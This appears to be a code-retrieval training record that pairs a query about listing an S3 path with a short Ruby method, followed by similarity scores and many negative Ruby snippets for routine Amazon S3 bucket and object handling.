[ "0.599189", "0.59633696", "0.5762322", "0.5449545", "0.53749627", "0.5353506", "0.5343103", "0.530078", "0.52214676", "0.5099324", "0.5081939", "0.5073247", "0.50525165", "0.5037741", "0.5031225", "0.49870032", "0.49837878", "0.49469855", "0.49145597", "0.49112913", "0.49040428", "0.4899657", "0.48869327", "0.48862013", "0.48829705", "0.4880291", "0.48700508", "0.48457527", "0.48377132", "0.48376146", "0.48359454", "0.4819211", "0.48030105", "0.48028508", "0.48006848", "0.4793948", "0.47888714", "0.4788798", "0.47879505", "0.47844794", "0.47820678", "0.4777573", "0.4772035", "0.4768954", "0.4758211", "0.47556603", "0.47468248", "0.47423995", "0.47413963", "0.47391692", "0.47347218", "0.47346085", "0.4734511", "0.4734511", "0.47163776", "0.47148493", "0.47138557", "0.47124025", "0.47121635", "0.47115198", "0.4710827", "0.47092986", "0.47085965", "0.47027767", "0.46957433", "0.469104", "0.4688598", "0.46846053", "0.46838415", "0.4672171", "0.46710846", "0.46625698", "0.46625698", "0.4656209", "0.4651382", "0.4641116", "0.46292374", "0.4626258", "0.46254808", "0.46254656", "0.46253774", "0.46172452", "0.4614542", "0.46118978", "0.4610299", "0.46090174", "0.46076366", "0.46038854", "0.46036536", "0.46032238", "0.46020633", "0.4598764", "0.45966807", "0.4596188", "0.4596122", "0.45940942", "0.45922387", "0.45817217", "0.45810714", "0.45804474" ]
0.6207067
0
For a given path to a S3 resource, retrieve the listing object and construct the file entries
def generate_listing(path) client listing = client.list_objects(bucket: config[:bucket], delimiter: '/', prefix: full_path(path)) add_directories(listing) add_files(listing, path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find(key, bucket = nil)\n # N.B. This is arguably a hack. From what the current S3 API exposes, when you retrieve a bucket, it\n # provides a listing of all the files in that bucket (assuming you haven't limited the scope of what it returns).\n # Each file in the listing contains information about that file. It is from this information that an S3Object is built.\n #\n # If you know the specific file that you want, S3 allows you to make a get request for that specific file and it returns\n # the value of that file in its response body. This response body is used to build an S3Object::Value object. \n # If you want information about that file, you can make a head request and the headers of the response will contain \n # information about that file. There is no way, though, to say, give me the representation of just this given file the same \n # way that it would appear in a bucket listing.\n #\n # When fetching a bucket, you can provide options which narrow the scope of what files should be returned in that listing.\n # Of those options, one is <tt>marker</tt> which is a string and instructs the bucket to return only object's who's key comes after\n # the specified marker according to alphabetic order. Another option is <tt>max-keys</tt> which defaults to 1000 but allows you\n # to dictate how many objects should be returned in the listing. With a combination of <tt>marker</tt> and <tt>max-keys</tt> you can\n # *almost* specify exactly which file you'd like it to return, but <tt>marker</tt> is not inclusive. In other words, if there is a bucket\n # which contains three objects who's keys are respectively 'a', 'b' and 'c', then fetching a bucket listing with marker set to 'b' will only\n # return 'c', not 'b'. \n #\n # Given all that, my hack to fetch a bucket with only one specific file, is to set the marker to the result of calling String#previous on\n # the desired object's key, which functionally makes the key ordered one degree higher than the desired object key according to \n # alphabetic ordering. This is a hack, but it should work around 99% of the time. I can't think of a scenario where it would return\n # something incorrect.\n \n # We need to ensure the key doesn't have extended characters but not uri escape it before doing the lookup and comparing since if the object exists, \n # the key on S3 will have been normalized\n key = key.remove_extended unless key.valid_utf8?\n bucket = Bucket.find(bucket_name(bucket), :marker => key.previous, :max_keys => 1)\n # If our heuristic failed, trigger a NoSuchKey exception\n if (object = bucket.objects.first) && object.key == key\n object \n else \n raise NoSuchKey.new(\"No such key `#{key}'\", bucket)\n end\n end", "def list_s3_bucket_files(bucket)\n\n s3 = connect_to_s3()\n resp = s3.list_objects_v2(bucket: bucket)\n counter = 1\n\n resp.contents.each do |obj|\n puts \"#{bucket} bucket file #{counter}: #{obj.key}\"\n counter += 1\n end\n\nend", "def find_s3_files\n output = `s3cmd ls #{self.location}/`\n output.gsub!(/DIR/,\"\")\n output.gsub!(/ +/,\" \")\n dir_listing = output.split(/\\n/)\n logger.debug(\"dir_listing #{dir_listing.inspect}\")\n files = Hash.new\n dir_listing.each do |list|\n if (list.match(/^ /)) then\n # found a directory - not going to worry about going down the directory for now\n else\n # found a file\n (date, time, size, path) = list.split(/ /)\n filename = File.basename(path).split(\"/\").last\n FILE_TYPES.each { |filepart, filehash| \n type = filehash[\"type\"]\n vendor = filehash[\"vendor\"]\n if filename.match(filepart) then \n #logger.debug( \"filename is #{filename}\")\n files[type] = Hash.new\n files[type][\"path\"] = path\n files[type][\"vendor\"] = vendor\n end\n }\n end\n end\n logger.debug(\" files is #{files.inspect}\")\n return files\n end", "def fs_batch__fetch_from_aws_s3_to_local *args\n aws_s3_path,\n local_path,\n local_path_is_dir,\n reserved = args\n\n aws_s3_batch = aws_s3_batch__fetch_file aws_s3_path, local_path\n\n batch = [\n (local_path_is_dir && [\"mkdir\", \"-p\", \"#{local_path}\" ] || nil),\n [\"ls\", \"-lh\", \"#{local_path}\" ]\n ] +\n aws_s3_batch + [\n [\"ls\", \"-lh\", \"#{local_path}\" ]\n ]\n\n batch.compact\n end", "def pull_from_s3\n FileUtils.mkdir_p File.dirname local_path\n file = open(local_path, \"wb\") {|f| f << open(s3_url(:orig=>true)).read }\n end", "def fetch_s3(package)\n\tbucket = $s3client.bucket(\"rogoodpractice\")\n\t\n\t# get all objects\n obs = bucket.objects;\n \n # pull out those matching package name\n obs = obs.select { |a| a.key.match(/#{package}/) };\n\n # pull out those with .txt files\n obstxt = obs.select { |a| a.key.match(/\\.txt/) }\n\n # pull out latest file by timestamp\n\ttarget = obstxt.max_by { |a| a.last_modified }\n\n\t# get URL\n\ttarget.temporary_url\nend", "def ls(bucket)\n ::Taxi::S3.instance.ls(bucket)\n end", "def s3_files\n S3File.find_by_project_name(folder_name + \"/\") unless folder_name.nil?\n end", "def list_objects(s3_client, bucket_name)\r\n response = s3_client.list_objects_v2(bucket: bucket_name)\r\n if response.contents.count.zero?\r\n puts 'No objects.'\r\n else\r\n response.contents.each do |object|\r\n puts object.key\r\n end\r\n end\r\nrescue StandardError => e\r\n puts \"Error listing objects: #{e.message}\"\r\nend", "def retrieve_log_files_from_s3\n s3_log_reader.retrieve_job_files(record_id)\n end", "def initialize \n @s3 = Aws::S3::Resource.new(region: 'us-east-1', access_key_id: Rails.application.credentials.dig(:aws, :access_key_id), secret_access_key: Rails.application.credentials.dig(:aws, :secret_access_key))\n @date_time = Time.new \n @file_names = []\n @downloads = []\n @sorted_downloads\n end", "def s3_object\n @s3_object ||= bucket.objects[full_key]\n end", "def get(local_path, s3_path, bucket)\n client.get_object(\n response_target: local_path,\n bucket: bucket,\n key: s3_path)\n end", "def initialize(folder_path, bucket, aws_key = ENV['AWS_ACCESS_KEY_ID'], aws_secret = ENV['AWS_SECRET_ACCESS_KEY'])\n @folder_path = folder_path\n @files = Dir.glob \"#{@folder_path}/**/{*,.*}\"\n @connection = Aws::S3::Resource.new(access_key_id: aws_key, secret_access_key: aws_secret, region: 'us-east-1')\n @s3_bucket = @connection.bucket(bucket)\n end", "def list_objects(prefix=\"\")\n prefix = \"media/#{prefix}\"\n puts \"Listing media files in s3://#{$s3_bucket}/#{prefix}\"\n\n objects = []\n $s3_client.list_objects(bucket: $s3_bucket, prefix: prefix).each do |resp|\n if block_given?\n resp.contents.each do |object|\n yield object unless object[:key].end_with? '/'\n end\n else\n objects.concat(resp.contents.reject{|object| object[:key].end_with? '/' })\n end\n end\n objects unless block_given?\nend", "def get_filebucket_file(path, environment:, bucket_path: nil, diff_with: nil, list_all: nil, fromdate: nil, todate: nil)\n headers = add_puppet_headers('Accept' => 'application/octet-stream')\n\n response = @client.get(\n with_base_url(\"/file_bucket_file/#{path}\"),\n headers: headers,\n params: {\n environment: environment,\n bucket_path: bucket_path,\n diff_with: diff_with,\n list_all: list_all,\n fromdate: fromdate,\n todate: todate\n }\n )\n\n process_response(response)\n\n [response, deserialize(response, Puppet::FileBucket::File)]\n end", "def get_filebucket_file(path, environment:, bucket_path: nil, diff_with: nil, list_all: nil, fromdate: nil, todate: nil)\n headers = add_puppet_headers('Accept' => 'application/octet-stream')\n\n response = @client.get(\n with_base_url(\"/file_bucket_file/#{path}\"),\n headers: headers,\n params: {\n environment: environment,\n bucket_path: bucket_path,\n diff_with: diff_with,\n list_all: list_all,\n fromdate: fromdate,\n todate: todate\n }\n )\n\n process_response(response)\n\n [response, deserialize(response, Puppet::FileBucket::File)]\n end", "def objects\n bucket_obj = Aws::S3::Bucket.new(name: bucket, client: s3_client)\n bucket_obj.objects( prefix: prefix)\n end", "def retrieve_objects_via_http(bucket)\n _log 'Retrieving objects via unauthenticated method.'\n r = http_request :get, \"https://#{bucket}.s3.amazonaws.com\"\n if r.code != '200'\n _log 'Failed to retrieve any objects using the unauthenticated technique as bucket listing is disabled.'\n return\n end\n\n xml_doc = Nokogiri::XML(r.body)\n xml_doc.remove_namespaces!\n results = xml_doc.xpath('//ListBucketResult//Contents//Key').children.map(&:text)\n results[0...999] # return first 1k results as some buckets may have tons of objects\n\n # format before\n results.reject! { |b| b =~ %r{.+/$} } unless results.nil? # remove folder names if bucket_objs is not nil\n results unless results.empty? \n end", "def list_s3_buckets()\n\n s3 = connect_to_s3()\n response = s3.list_buckets\n\n response.buckets.each do |bucket|\n puts \"#{bucket.creation_date} #{bucket.name}\"\n end\n\nend", "def ls(bucket)\n puts \"> AWS Bucket: ls #{bucket}\".yellow\n response = s3_client.list_objects_v2(bucket: bucket)\n files = response.contents\n files_str = files.map do |entry|\n \"#{entry.last_modified.to_s.greenish}\\t#{entry.size.to_s.blueish}\\t#{entry.key.yellow}\"\n end\n files_str.each do |entry|\n puts entry\n end\n end", "def list_objects(bucket_name:, fetch_object_content_type: false, **opts)\n response_objects = s3_client.list_objects(bucket: bucket_name, **opts)\n formatted_objects = response_objects.contents.map do |obj|\n metadata = {\n key: obj.key,\n last_modified: obj.last_modified,\n }\n if fetch_object_content_type\n metadata.merge!(object_details(bucket_name: bucket_name, key: obj.key))\n end\n metadata\n end\n end", "def file_all(bucket)\n result = request(\n :path => full_path(bucket),\n :expects => [200, 204],\n :params => {\n :format => :json\n }\n )\n [result[:body]].flatten.compact.map do |file|\n File.new(\n bucket,\n :id => ::File.join(bucket.name, file[:name]),\n :name => file[:name],\n :updated => file[:last_modified],\n :size => file[:bytes].to_i\n ).valid_state\n end\n end", "def import_file_content_from_s3\n AWS::S3.new.buckets['csv_data_feed'].objects['csv.csv'].read\nend", "def collect_media(prefix=\"\")\n media = {}\n\n s3_media = list_objects(prefix)\n puts \"Found #{s3_media.count} objects\"\n s3_media.each do |object|\n path = object[:key].slice(6, object[:key].length)\n media[path] ||= {}\n media[path][:s3] = object\n end\n\n local_media = list_files(prefix)\n puts \"Found #{local_media.count} files\"\n local_media.each do |file|\n path = file[:path].slice(6, file[:path].length)\n media[path] ||= {}\n media[path][:local] = file\n end\n\n media\nend", "def getObjectsList\n begin\n #get a handle on the user selected bucket\n s3 = createS3Connection\n bucket = s3.buckets[session[:s3bucket]]\n\n #pull down a list of the object names only\n objects_array = []\n # final_objects_array = []\n\n #bucket.objects.each do |obj|\n # objects_array.push(obj.key)\n #end\n\n bucket.objects.each do |obj|\n objects_array.push({:name => obj.key, :size => (obj.content_length / 1024.0).round(2), :type => obj.content_type, :last_mod => obj.last_modified})\n end\n\n objects_array = createEmptyObjectsArray if objects_array.empty?\n\n return objects_array\n #if !objects_array.empty?\n # objects_array.each do |obj_name|\n # final_objects_array.push({:name => obj_name, :size => '', :type => ''})\n # end\n # else\n # final_objects_array = [{:name => '', :size => '', :type => ''}]\n # end\n # return final_objects_array\n rescue Exception => error\n # return createEmptyObjectsArray\n return createEmptyObjectsArray\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem creating S3 object list: #{error}.\"\n end\n end", "def s3_object(path)\n @task.s3_object(\"asgroup/#{@name}/#{path}\")\n end", "def aws_S3_object_get_and_read(bucket, name)\n log \"AWS: getting S3Object 'name'\"\n object = aws_call('aws_S3_object_get', bucket: bucket, name: name)\n if aws_call('aws_obj_exists?', obj: object)\n log \"AWS: reading S3Object '#{object.key}'\"\n return aws_call('aws_S3_object_read', object: object)\n end\n return \"\"\n rescue AWS::S3::Errors::NoSuchKey => e\n return \"\"\n end", "def keys(bucket_name, options = {})\n paramters = {}\n paramters['prefix'] = options[:prefix] if options[:prefix]\n paramters['marker'] = options[:marker] if options[:marker]\n paramters['max_keys'] = options[:max_keys] if options[:max_keys]\n paramters['prefix'] = options[:prefix] if options[:prefix]\n\n response = send_s3_request('GET', :bucket => bucket_name, :paramters => paramters)\n parser = Awsum::S3::ObjectParser.new(self)\n parser.parse(response.body)\n end", "def list_my_buckets(s3)\n resp = s3.list_buckets\n puts \"My buckets now are:\\n\\n\"\n\n resp.buckets.each do |bucket|\n puts bucket.name\n end\n\nend", "def list\n ::Taxi::S3.instance.list_buckets\n end", "def list_my_buckets(s3)\n resp = s3.list_buckets()\n puts \"My buckets now are:\\n\\n\"\n\n resp.buckets.each do |bucket|\n puts bucket.name\n end\n\nend", "def info(path, **opts)\n path = norm_path(path)\n opts = opts.merge(bucket: name, key: full_path(path))\n info = @client.head_object(**opts)\n raise BFS::FileNotFound, path unless info\n\n BFS::FileInfo.new path: path, size: info.content_length, mtime: info.last_modified, content_type: info.content_type, metadata: norm_meta(info.metadata)\n rescue Aws::S3::Errors::NoSuchKey, Aws::S3::Errors::NoSuchBucket, Aws::S3::Errors::NotFound\n raise BFS::FileNotFound, path\n end", "def retrieve_objects_via_api(client, bucket)\n _log 'Retrieving objects via authenticated method.'\n begin\n objs = client.list_objects_v2(bucket: bucket).contents.collect(&:key) # maximum of 1000 objects\n rescue Aws::S3::Errors::AccessDenied, Aws::S3::Errors::AllAccessDisabled\n objs = []\n _log_error 'Could not retrieve bucket objects using the authenticated technique due to insufficient permissions.'\n end\n\n objs.reject! { |b| b =~ %r{.+/$} } unless objs.nil? # remove folder names if bucket_objs is not nil\n objs unless objs.empty? # force a nil return if an empty array as we are catching the nil reference\n end", "def get(bucket:, path:, access_key_id:, secret_access_key:, token: nil, region: nil)\n region ||= 'us-east-1' # Most buckets.\n path = path[1..-1] if path[0] == '/'\n\n verb = 'GET'\n uri_path = \"/#{bucket}/#{path}\"\n body = ''\n\n datetime = Time.now.utc.strftime('%Y%m%dT%H%M%SZ')\n date = datetime[0,8]\n\n c_scope = _credential_scope(date, region)\n credential = \"#{access_key_id}/#{c_scope}\"\n\n algorithm = 'AWS4-HMAC-SHA256'\n\n if region == 'us-east-1'\n hostname = 's3.amazonaws.com'\n else\n hostname = \"s3-#{region}.amazonaws.com\"\n end\n\n headers = {\n 'host' => hostname,\n 'x-amz-content-sha256' => hexdigest(body),\n 'x-amz-date' => datetime,\n 'x-amz-expires' => '900', # 15 minutes\n }\n headers['x-amz-security-token'] = token if token\n\n canonical_request = _canonical_request(verb: verb, path: uri_path,\n querystring: '', headers: headers,\n content_hash: hexdigest(body))\n signed_headers = headers.keys.sort.join(';')\n\n to_sign = _string_to_sign(datetime, c_scope, canonical_request)\n signed = _signature(secret_access_key, date, region, 's3', to_sign)\n\n headers['authorization'] = \"#{algorithm} Credential=#{credential}, SignedHeaders=#{signed_headers}, Signature=#{signed}\"\n\n # Debug information useful if the signature is wrong\n Chef::Log.debug { \"CanonicalRequest: \" + canonical_request.inspect }\n Chef::Log.debug { \"StringToSign: \" + to_sign.inspect }\n Chef::Log.debug { \"headers: \" + headers.inspect }\n\n client = Chef::HTTP.new(\"https://#{hostname}\")\n begin\n content = client.get(uri_path[1..-1], headers)\n rescue Net::HTTPServerException => e\n raise CitadelError.new(\"Unable to download #{path}: #{e}\")\n end\n\n response = client.last_response\n\n case response\n when Net::HTTPOK\n return content\n when Net::HTTPRedirection\n # When you request a bucket at the wrong region endpoint, S3 returns an\n # HTTP 301, but it doesn't set a Location header, so chef doesn't\n # follow it and returns a nil response.\n true_region = response.header['x-amz-bucket-region']\n raise CitadelError.new(\n \"Bucket #{bucket} is actually in #{true_region}, not #{region}\")\n else\n Chef::Log.warn(\"Unexpected HTTP response: #{response.inspect}\")\n Chef::Log.warn(\"Response body: #{response.body.inspect}\")\n raise CitadelError.new(\"Unexpected HTTP response: #{response.inspect}\")\n end\n end", "def parse\n hash = Hash.from_xml(@xml)\n\n contents = hash[\"ListBucketResult\"][\"Contents\"]\n\n # In cases when there is only one item returned,\n # Contents key is parsed as a Hash; make it into an array\n unless contents.is_a?(Array)\n if contents.is_a?(Hash)\n contents = [contents]\n else\n raise StandardError,\n \"Expected 'ListBucketResult/Contents' \" +\n \"key to be an Array, was '#{contents.class}'\"\n end\n end\n\n files = contents.map do |content|\n S3::File.new(\n content[\"Key\"],\n content[\"Size\"],\n content[\"ETag\"].gsub('\"', ''),\n Time.parse(content[\"LastModified\"]),\n @logger,\n )\n end\n\n max_keys = hash[\"ListBucketResult\"][\"MaxKeys\"].to_i\n\n is_truncated = hash[\"ListBucketResult\"][\"IsTruncated\"] == \"true\"\n\n S3::BucketPage.new(@bucket_url, files, max_keys, is_truncated, @logger)\n end", "def buckets\n response = send_s3_request\n parser = Awsum::S3::BucketParser.new(self)\n parser.parse(response.body)\n end", "def run_me\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n list_object_acls(s3_client, bucket_name, object_key)\r\nend", "def object(key)\n AWS::S3::S3Object.new(bucket, \"#{@path}#{key}\")\n end", "def readline\n bucket,key = fs.split_path(path)\n @handle ||= fs.s3.interface.get_object(bucket, key).each\n begin\n @handle.next\n rescue StopIteration, NoMethodError\n @handle = nil\n raise EOFError.new(\"end of file reached\")\n end\n end", "def fetch_object(file)\n @pool.process do\n dest = Pathname.new(\"#{@options[:destination]}/#{file.key}\")\n if file.key.end_with?(\"/\")\n puts \"Creating s3 subdirectory #{file.key} - #{Time.now}\" if verbose?\n dest.mkpath\n else\n dest.dirname.mkpath\n\n puts \"Copying from s3 #{file.key} - #{Time.now}\" if verbose?\n s3_client.get_object(response_target: \"#{dest}\",\n bucket: @options[:bucket],\n key: file.key,\n version_id: file.version_id)\n end\n\n @fetch_block_mutex.synchronize { yield file } if block_given?\n end\n end", "def run_me\r\n bucket_name = 'doc-example-bucket'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n list_bucket_objects(s3_client, bucket_name)\r\nend", "def read\n object = bucket.objects.find(@path)\n object.content\n end", "def initialize(data_source, *opts)\n @data_source = data_source\n @s3_bucket = AWS::S3.new.buckets[@data_source.s3_path[/s3:\\/\\/([\\w-]+)\\//,1]]\n @s3_obj = @s3_bucket.objects[@data_source.s3_path[/s3:\\/\\/[\\w-]+\\/(.*)/,1]]\n end", "def get_s3_bucket_object(bucket_name)\n resource.bucket(bucket_name)\n end", "def aws_s3_path__sample_file\n s3_bucket = \"bucket_name\"\n s3_region = nil\n s3_path = \"path_to_file/file\"\n s3_path_is_dir = false\n s3_exclude_pattern = nil\n s3_include_pattern = nil\n [\n s3_bucket,\n s3_region,\n s3_path,\n s3_path_is_dir,\n s3_exclude_pattern,\n s3_include_pattern,\n ]\n end", "def process_pending_objects\n prefix = \"#{path.base_name}/#{path.pending}\"\n collection = amazon_s3.bucket.objects(prefix: prefix)\n\n collection.map do |s3_object|\n _, _, filename = s3_object.key.split('/')\n object_type, _, _ = filename.split('_')\n\n content = amazon_s3.convert_download('json', s3_object.get.body.read).first\n s3_object.move_to(\"#{path.base_name_w_bucket}/#{path.ready}/#{filename}\")\n\n # return the content of file to create the requests\n { object_type => content }\n end.flatten\n end", "def read(key)\n bucket.objects[key].read\n rescue AWS::S3::Errors::NoSuchKey\n nil\n end", "def get(key)\n s3_read key\n end", "def s3_url\n establish_s3_connection\n bucket = s3keys[\"bucket\"]\n key = self.datastreams[\"s3\"].key_values.first\n s3 = AWS::S3.new\n s3.buckets[bucket].objects[key].url_for(:read, :expires => 60 * 60 * 1.5)\n end", "def remote_files(bucket, folders)\n objects = @s3.buckets[bucket].objects.with_prefix(File.join(folders))\n objects.each do |object|\n relative_path = object.key.split(/\\//).drop folders.length\n next if object.content_length.nil? or object.content_length == 0 or relative_path.empty?\n yield remote_item(object, relative_path)\n end\n end", "def files bucket_name\n body_wrap = b2_list_file_names bucketId: (bucket_id bucket_name: bucket_name)\n # ignoring the top-level {files:, nextFileName:} structure\n body_wrap.files\n end", "def list_buckets\n s3 = Aws::S3::Client.new(\n region: 'us-east-1'\n )\n resp = s3.list_buckets({})\n # get the total number of buckets\n num_buckets = resp.buckets.length\n # loop through and puts name\n num_buckets.times do |i|\n puts resp.buckets[i].name.colorize(:light_magenta).colorize(:background => :black)\n end\nend", "def get_objects(prefix = '')\n prefix = prefix.toutf8\n \n if @s3.options[:enable_cache] && !@cache[:objects].nil? &&\n !@cache[:objects][prefix].nil?\n return @cache[:objects][prefix]\n end\n \n if @cache[:objects].nil?\n @cache[:objects] = {}\n end\n \n objects = {}\n request_uri = \"/#{@name}?prefix=#{URI.escape(prefix)}\"\n is_truncated = true\n \n # The request is made in a loop because the S3 API limits results to pages\n # of 1,000 objects by default, so if there are more than 1,000 objects,\n # we'll have to send more requests to get them all.\n while is_truncated do\n response = @s3.request_get(request_uri)\n @s3.error?(response)\n \n xml = REXML::Document.new(response.body)\n \n if xml.root.elements['IsTruncated'].text == 'false'\n is_truncated = false\n else\n request_uri = \"/#{@name}?prefix=#{URI.escape(prefix)}&marker=\" +\n xml.root.elements.to_a('Contents').last.elements['Key'].text\n end\n \n next if xml.root.elements['Contents'].nil?\n \n xml.root.elements.each('Contents') do |element|\n object_key = element.elements['Key'].text\n object_size = element.elements['Size'].text\n object_etag = element.elements['ETag'].text\n object_last_modified = Time.parse(\n element.elements['LastModified'].text)\n \n objects[object_key] = S3::Object.new(@s3, self, object_key,\n object_size, object_etag, object_last_modified)\n end\n end\n\n return @cache[:objects][prefix] = objects\n end", "def show\n client = Aws::S3::Client.new(\n region: Rails.application.credentials.aws[:aws_region],\n access_key_id: Rails.application.credentials.aws[:access_key_id],\n secret_access_key: Rails.application.credentials.aws[:secret_access_key])\n @objects = client.list_objects({bucket:'awsprojectbuckett'}).contents\n end", "def s3_read(key)\n obj = @s3.get_object bucket: ENV.fetch(\"AWS_BUCKET\"), key: key\n obj.body.read\n end", "def aws_S3_bucket_get(opts)\n AWS::S3.new.buckets[opts[:name]]\n end", "def s3pull(s3_bucket_name, library)\n s3 = AWS::S3.new\n bucket = s3.buckets[s3_bucket_name]\n\n stats = Photor.work(Downloader.pool(args: [library, options[:dry_run]])) do |pool, &tracker|\n bucket.objects.each do |s3_object|\n next if File.extname(s3_object.key).empty?\n tracker.call pool.fetch_if_new(s3_object)\n end\n end\n\n puts \"\\n\"\n puts \"downloaded: #{stats[:truthy]} skipped: #{stats[:falsey]}\"\n end", "def checkFile(bucket, file, client)\n\tfilename = File.basename file\n\tbegin\n\t\tresp = client.client.get_object({\n\t\t\tbucket: bucket,\n\t\t\tkey: filename\n\t\t})\n\trescue Aws::S3::Errors::NoSuchKey => err\n\t\tputs err\n\t\tresp = client.client.list_objects({ bucket: bucket })\n\t\tputs \"Valid files currently are: \"\n\t\tresp.contents.each do |obj|\n\t\t\tputs \"=> #{obj.key}\"\n\t\tend\n\t\texit\n\tend\n\treturn resp\nend", "def run_me\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n local_path = \"./#{object_key}\"\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n if object_downloaded?(s3_client, bucket_name, object_key, local_path)\r\n puts \"Object '#{object_key}' in bucket '#{bucket_name}' \" \\\r\n \"downloaded to '#{local_path}'.\"\r\n else\r\n puts \"Object '#{object_key}' in bucket '#{bucket_name}' not downloaded.\"\r\n end\r\nend", "def retrieve_from_s3(node, source_file, destination_file)\n begin\n require 'aws-sdk'\n config = data_bag_config_for(node.chef_environment, DATA_BAG_AWS)\n s3_endpoint, bucket_name, object_name = parse_s3_url(source_file)\n\n if config.empty?\n AWS.config(:s3 => { :endpoint => s3_endpoint })\n else\n AWS.config(:access_key_id => config['access_key_id'],\n :secret_access_key => config['secret_access_key'],\n :s3 => { :endpoint => s3_endpoint })\n end\n\n object = get_s3_object(bucket_name, object_name)\n\n Chef::Log.debug(\"Downloading #{object_name} from S3 bucket #{bucket_name}\")\n ::File.open(destination_file, 'wb') do |file|\n object.read do |chunk|\n file.write(chunk)\n end\n Chef::Log.debug(\"File #{destination_file} is #{file.size} bytes on disk\")\n end\n rescue URI::InvalidURIError\n Chef::Log.warn(\"Expected an S3 URL but found #{source_file}\")\n raise\n end\n end", "def list_objects(prefix)\n @s3.list_objects_v2(bucket: ENV.fetch(\"AWS_BUCKET\"),\n prefix: File.join(prefix, \"/\"),\n delimiter: \"/\")\n end", "def list_files_with_prefix bucket_name:, prefix:, delimiter: nil\n # Lists all the files in the bucket that begin with the prefix.\n #\n # This can be used to list all files in a \"folder\", e.g. \"public/\".\n #\n # The delimiter argument can be used to restrict the results to only the\n # \"files\" in the given \"folder\". Without the delimiter, the entire tree under\n # the prefix is returned. For example, given these files:\n #\n # a/1.txt\n # a/b/2.txt\n #\n # If you just specify `prefix: \"a\"`, you will get back:\n #\n # a/1.txt\n # a/b/2.txt\n #\n # However, if you specify `prefix: \"a\"` and `delimiter: \"/\"`, you will get back:\n #\n # a/1.txt\n\n # The ID of your GCS bucket\n # bucket_name = \"your-unique-bucket-name\"\n\n # The directory prefix to search for\n # prefix = \"a\"\n\n # The delimiter to be used to restrict the results\n # delimiter = \"/\"\n\n require \"google/cloud/storage\"\n\n storage = Google::Cloud::Storage.new\n bucket = storage.bucket bucket_name\n files = bucket.files prefix: prefix, delimiter: delimiter\n\n files.each do |file|\n puts file.name\n end\nend", "def aws_list_objects(bucket, filter = nil, **opt)\n __debug_items(binding)\n meth = opt.delete(:meth) || calling_method\n client = opt.delete(:client)\n client ||= (bucket.client if bucket.is_a?(Aws::S3::Bucket))\n client ||= s3_client(**opt)\n params = { bucket: bucket }\n filter =\n case filter.presence\n when nil then nil # No filter means list all objects in the bucket.\n when '*' then nil # An explicit request for all objects.\n when /\\.$/ then filter\n when /\\.\\*$/ then filter.delete_suffix('*')\n else \"#{filter}.\"\n end\n # @type [Aws::S3::Types::ListObjectsV2Output] response\n response = client.list_objects_v2(params, **opt)\n result = Array.wrap(response.contents)\n filter ? result.select { |obj| obj.key.start_with?(filter) } : result\n rescue => error\n set_error(error)\n # noinspection RubyScope\n Log.warn { \"#{meth}: AWS S3 failure: #{error.class}: #{error.message}\" }\n end", "def list_buckets(s3_client)\r\n response = s3_client.list_buckets\r\n if response.buckets.count.zero?\r\n puts 'No buckets.'\r\n else\r\n response.buckets.each do |bucket|\r\n puts bucket.name\r\n end\r\n end\r\nrescue StandardError => e\r\n puts \"Error listing buckets: #{e.message}\"\r\nend", "def aws_S3_object_get_and_read_no_log(bucket, name)\n object = aws_call('aws_S3_object_get', bucket: bucket, name: name)\n if aws_call('aws_obj_exists?', obj: object)\n return aws_call('aws_S3_object_read', object: object)\n end\n return \"\"\n rescue AWS::S3::Errors::NoSuchKey => e\n return \"\"\n end", "def s3_info()\n verbose_or_debug_msg(\"Checking S3 resources in all regions for profile \\\"#{$profile}\\\"\")\n s3_resource=Aws::S3::Resource.new(region: \"eu-west-1\", credentials: $credentials)\n if $audit_mode\n opfile=File.open(\"#{$audit_dir}/all/s3_buckets\",\"w\")\n else\n opfile=$stdout\n end\n \n # If we've not specified details, then simply list the buckets and return.\n if ! $s3_details\n s3_resource.buckets.each do |b|\n if not $quiet\n opfile.print(\"\\\"#{$profile}\\\",\\\"S3 Bucket\\\",\\\"All\\\",\\\"#{b.name}\\\",\\\"#{b.creation_date}\\\"\\n\")\n end\n $bucket_count+=1\n end\n return\n end\n \n # get a list of buckets:\n debug_msg(\"Generating a list of all buckets:\\n\")\n all_buckets=Hash.new()\n s3_resource.buckets.each do |bucket|\n all_buckets[bucket.name] = false\n end\n all_buckets.each do |b|\n debug_msg (\"#{b}\")\n end\n\n # Attempt to show all objects in each bucket - this is region-dependent - see comment above\n $regions.each do |region|\n begin\n s3_resource=Aws::S3::Resource.new(region: region, credentials: $credentials)\n s3_resource.buckets.each do |bucket|\n total_size=0\n if all_buckets[bucket.name] == false\n bucket.objects.each do |object|\n total_size+=object.size\n end\n end\n if not $quiet\n print(\"\\\"#{$profile}\\\",\\\"s3 bucket\\\",\\\"#{region}\\\",\\\"#{bucket.name}\\\",\\\"#{total_size}\\\"\\n\")\n all_buckets[bucket.name]=true\n end\n end\n $bucket_count+=1\n rescue Aws::S3::Errors::ServiceError => err\n debug_msg(\"#{err.inspect()}\\n\")\n end\n end\nend", "def get(path)\n object = bucket.objects.find(path)\n tempfile = Tempfile.new\n tempfile.write(object.content)\n tempfile.rewind\n tempfile\n end", "def extract\n init_kms(@kms_opt)\n\n entries.map do |entry|\n local_file = File.join(@local_path, entry.name)\n logger.info \"Downloading #{entry.pathname} from S3 to #{local_file}\"\n File.open(local_file, 'wb') { |file| entry.raw.get({ response_target: file }.merge(encrypt_args)) }\n local_file\n end\n end", "def s3_object\n attached_file&.storage&.object(file.id)\n end", "def get_object_list(s3_client, object_info)\n\tobject_list = []\n\n\tparams = {\n\t\tbucket: object_info[:bucket], # required\n\t\tprefix: object_info[:prefix],\n\t\tmax_keys: 1000,\n\t}\n\n\tmore = true # will go false when there are no more results\n\twhile more do\n\t\tputs params.inspect if Options[:verbose]\n\n\t\tresp = s3_client.list_objects_v2(params)\n\t\tputs \"Got #{resp.contents.length} objects\".yellow\n\n\t\tresp.contents.each do |o|\n\t\t\tobject_list.push(o.key)\n\t\tend\n\n\t\tmore = resp.is_truncated\n\t\tif 